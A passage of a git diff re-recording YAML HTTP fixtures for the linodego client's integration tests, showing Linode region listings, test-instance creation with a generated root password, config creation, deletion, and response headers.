1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-7i9d535p9kiz","root_pass":"R34lBAdP455","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-5647vkb87baw","root_pass":"dd+n8``EdEqnd2H2i4n4#b1-U9HY4atv-ZRWvU2''*1?EFeKO6d.:9..D18`J[31\u0026","image":"linode/debian9","firewall_id":501413,"booted":false}' form: {} headers: Accept: @@ -118,14 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 39430393, "label": "go-test-ins-7i9d535p9kiz", "group": "", "status": + body: '{"id": 59542537, "label": "go-test-ins-5647vkb87baw", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["170.187.250.14"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.120.185"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "schedule": {"day": null, "window": null}, "last_successful": null}, - "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}' + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": + "2e178642a58dc717a260fc2f07a0f9ebec105e2b", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -138,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "641" + - "765" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -159,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -177,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/39430393/configs + url: https://api.linode.com/v4beta/linode/instances/59542537/configs method: POST response: - body: '{"id": 41975940, "label": "go-config-test-wait", "helpers": {"updatedb_disabled": + body: '{"id": 62729161, "label": "go-config-test-wait", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -199,15 +403,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "533" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:10 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -220,9 +428,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -238,7 +449,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/39430393 + url: https://api.linode.com/v4beta/linode/instances/59542537 method: DELETE response: body: '{}' @@ -254,15 +465,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:35:51 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -275,9 +490,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_WaitForLinodeID_nil.yaml b/test/integration/fixtures/TestVolume_WaitForLinodeID_nil.yaml index 0f146863c..307effa2f 100644 --- a/test/integration/fixtures/TestVolume_WaitForLinodeID_nil.yaml +++ b/test/integration/fixtures/TestVolume_WaitForLinodeID_nil.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", 